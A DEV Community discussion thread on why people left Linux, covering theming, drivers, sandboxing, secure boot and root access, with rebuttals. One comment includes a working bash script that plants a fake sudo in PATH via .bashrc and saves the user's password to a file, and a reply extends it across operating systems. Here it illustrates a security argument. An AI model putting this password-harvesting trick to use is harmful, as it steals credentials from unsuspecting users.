DEV Community

Discussion on: If you've tried Linux and opted against using it, tell us why for the chance to be featured on our podcast!

Collapse
 
gargakshit profile image
Akshit Garg • Edited

I used Linux on my primary laptop for quite some time, but to be really honest, using something like windows or macos suits me better because:

  • Inconsistent Theming
    Whenever I apply a GTK or QT theme of my choice, some applications' visual elements break. A common example is Firefox, where the URL in the address bar sometimes has so low contrast that it becomes practically unusable. Also when I apply a theme, some applications remain unchanged, reminding me of the 90s windows look. This particularly happens on i3wm of similar window managers with QT applications. Sure this could be solved but this brings me to my 2nd point

  • Overwhelming amount of dials to play with
    Sure customization is nice, but having a unified interface to tweak the same is better in my opinion. I don't exactly want to have 2 applications just to apply my GTK and QT themes, and another 2 to tweak my display and trackpad settings. A full blown desktop environment like GNOME with its settings application might solve this, but due to the theming inconsistencies, I find myself having another application to manage theming for applications that are not GTK

  • Flaky driver support
    Usually everything works just fine out of the box, but this was not the case for my trackpad and my laptop's built in fingerprint scanner. The trackpad couldn't recognize multi finger gestures, so I found myself using the weird edge scroll function. No matter what I tried, I could not get it to work. Same for my fingerprint scanner, it showed in lsusb, but I couldn't get it to work

  • No secure boot

  • No application sandboxing
    Coming from MacOS, which sandboxes all the apps, having raw access to the X11 socket was a huge security risk in my opinion. While this could be solved by using a newer display technology such as Wayland, most of the applications don't work with Wayland and fallback to XWayland which is no better than running a X11 server. While firejail might promise to solve this, it comes with a set of its on vulnerabilities as shown here and here

  • Easy root access
    Being in sudoers is as good as being root. The following script could be injected into the path using .bashrc or similar

cat << EOF > /tmp/sudo
#!/bin/bash
if [[ "${@}" = "" ]]; then
  /usr/bin/sudo
else
  read -s -r -p "[sudo] password for ${USER}: " password
  echo "${password}" > /tmp/password
  echo -e "\nSorry, try again."
  /usr/bin/sudo ${@}
fi
EOF
chmod +x /tmp/sudo
export PATH="/tmp:${PATH}"
Enter fullscreen mode Exit fullscreen mode

This script could easily get the user password and send it to some malicious party. And as apps can access your home directory, .bashrc could be used for more sophisticated attacks

  • Time consumed to get a functional development environment This is especially true when a distro does not have a pre-built binary for the specific application I want, having it to compile from scratch. Technologies like flatpak and snap might solve this, but I really don't want snap mounting 20 partitions on boot just for the 5 applications I installed from snap. Flatpak is better in this regard, but it comes with its own set of problems, documented at flatkill.org
Collapse
 
moopet profile image
Ben Sinclair

How would your example script be any different on MacOS vs Linux? Macs still use a sudoers file.

Collapse
 
gargakshit profile image
Akshit Garg

But macos has a different sudo prompt, and along with TouchID for sudo, it is really easy to spot such things. Also apps have to ask for permission for home folder access, making it difficult to inject it via bashrc or similar

Thread Thread
 
moopet profile image
Ben Sinclair

Yes, it has a prompt that reads Password: instead of [sudo] password for {user}:. It also runs zsh by default, but that doesn't matter, if you're going to have access to write to someone's home directory and also know how to script, it's just a matter of making it conditional, something like this:

case $OSTYPE in
  linux-gnu)
    sudo_prompt="[sudo] password for {$USER}: "
    ;;
  darwin*)
    sudo_prompt="Password: "
    ;;
esac

 read -s -r -p $sudo_prompt password
Enter fullscreen mode Exit fullscreen mode
Thread Thread
 
gargakshit profile image
Akshit Garg

Well yes, but applications need explicit permission to access the home directory in MacOS, reducing the attack surface by a lot

Thread Thread
 
moopet profile image
Ben Sinclair

On a Mac and a Debian box right now, and I can read other people's home directories but not write to them on both systems. I'm not sure what the difference is. If you're saying that some random GUI app that's a trojan has a better chance of writing to someone else's home directory on one system, then ok - I mean I don't really know how that would work, but I'll assume you're right for the sake of this thread.

What you were saying before about the difference in prompts somehow making one more secure than the other doesn't make sense to me though, and it looks like you're moving the goalposts a little.

Different systems will share some vulnerabilities and also have their own separate ones. MacOS is pitched as mostly being for single-user systems where you need physical access to do a lot of damage, where Linux is more likely to be multi-user from the get-go. Both approaches make compromises. There are root escalation vulnerabilities on both we haven't even heard of yet, I'm sure - but it's not as easy as "this script gets you root on Linux, MacOS is secure".

Thread Thread
 
gargakshit profile image
Akshit Garg

I might be wrong, but I meant writing to the logged in user's home directory. With a normally configured Linux box, applications could write to the same user's home directory without asking for explicit permissions, while with MacOS, this is not the case. MacOS asks for "Documents" permission before allowing an application to write in the home directory making the attack surface much less. I guess you could do some hardening to mitigate this

Thread Thread
 
moopet profile image
Ben Sinclair

Maybe. I don't remember seeing that, but if it's the case, then if this is something bundled with a GUI app, people are probably just going to click "sure, ok" and if it's a CLI app, I doubt they'd get that prompt.

Collapse
 
tagkit profile image
Tagkit

Hey there, so I was looking through your reasons to make sure how much of them have truth, and how many of them are based on things you may not have heard or known of.
A note: I have very limited experience with MacOS so I will be approaching this from Linux and Windows 7, 8, 10 comparisons.
In short order here are the things that I found totally valid in your criticisms of Linux and with no easy fix:

  • Inconsistent theming: Compared to MacOS, there are almost no real desktop themes that are universally applied across all software regardless of being QT or GTK based and people often reason this is the result of the flexibility of the desktop framework ecosystem. On Windows, my understanding this is still a problem because not all applications will honor the Windows Win32 or similar frameworks for the GUI (Please anybody correct me if I am misguided here). Some of my favorite examples for this sort of thing would be Steam, Discord, some Java-based, or python based applications, and electron-based applications that do not respect the Windows GUI guidelines.
  • The Dials comment can be layered in with the Inconsistent theming since theming is based on what GUI framework is relevant and being applied by the application and/or the system.
  • Flakey Driver Support: Sadly this is a very common one, but I find that all systems I have tried have some form of issue with this and it is based on quality of technical support provided by the parent company. Probably the best example I would have for this is the Realtek/Broadcomm Wireless drivers. I was having trouble with these drivers on both systems to where it was a nightmare to keep an internet connection for the longest time. Eventually I was able to find a custom driver for the Linux ecosystem released by the company and supported by the community. I won't speak to the nightmares I've had on Windows systems in setting up printers, scanners, proprietary items like the Cricut or other devices. That seems to be a case of each person may have a different experience.
  • Application sandboxing: From what I have heard of MacOS systems, I believe it is likely the only system that widely employs sandboxing and most of that is due to the control the company has over their own ecosystem. A huge issue with this though and it wasn't hard to find academic papers verifying that much of the software available outside of the MacOS appstore does not apply sandboxing creating the same issue as found in other personal user systems.

Next, things that were found inaccurate or mostly subjective based are listed below:

  • Linux does have secure boot access. If you merely google SecureBoot Linux, you will find many articles, howtos. Ubuntu, Fedora, Arch Linux, OpenSuse, Debian, and other distributions support SecureBoot access and have resources available to guide users on how to implement it on their systems.
  • Easy root access: This is a user security issue. If you are installing items from unknown sources without verification, the issue is the same on Windows as it would be on Linux. Even for people using the Arch User Repository or Ubuntu's PPA's come with the disclaimer, make sure that the applications or repositories you are installing are trustworthy. Windows has the same issue still though they are getting better from what I've seen in that some people just don't respect best security practices when developing, distributing, or installing software. Sidenote: This is why using sudo only when necessary and in secure environments is so insanely important. Is it applied appropriately by all users or developers? Not necessarily, but it is important.
  • Time Consumed to get a functional development environment: This one is variable to user experience and heavily depends on what system you are using or how niche the software you are using is. I use Slack, Telegram, Discord, OBS-studio, VScode, Jetbrains Suite, and rust-lang. I have also installed Eclipse, Mend, ArduinoIDE, QGIS, Virtualbox, Ki-Cad, and other applications to explore as a student, and I have had no trouble finding a working application that is available through flatpak or the apt package manager. The name of flatkill.org is enough to make me consider it a biased source, and their claims are not entirely correct and not enough sources are provided but after looking it up and other discussions held about it I believe it can be said that there are valid concerns there. Like with the MacOS environment or Windows environment applications not distributed through their own software stores or systems, it is the developers faults at the lack of proper security or updates in their systems. These same problems may exist in any software that is niche, or found from 3rd-party suppliers.

You have many good points, I just wished to provide an alternative view as someone who bounces between both Windows and Linux on the regular. Both systems have their issues, and much of the problems with any operating system is how high a priority as a target audience for providers, and how biased others will be as it is a fairly popular system for developers that people will target with passionate opinions that the reader will have to sift through and will vary based on each person's experience. Thanks!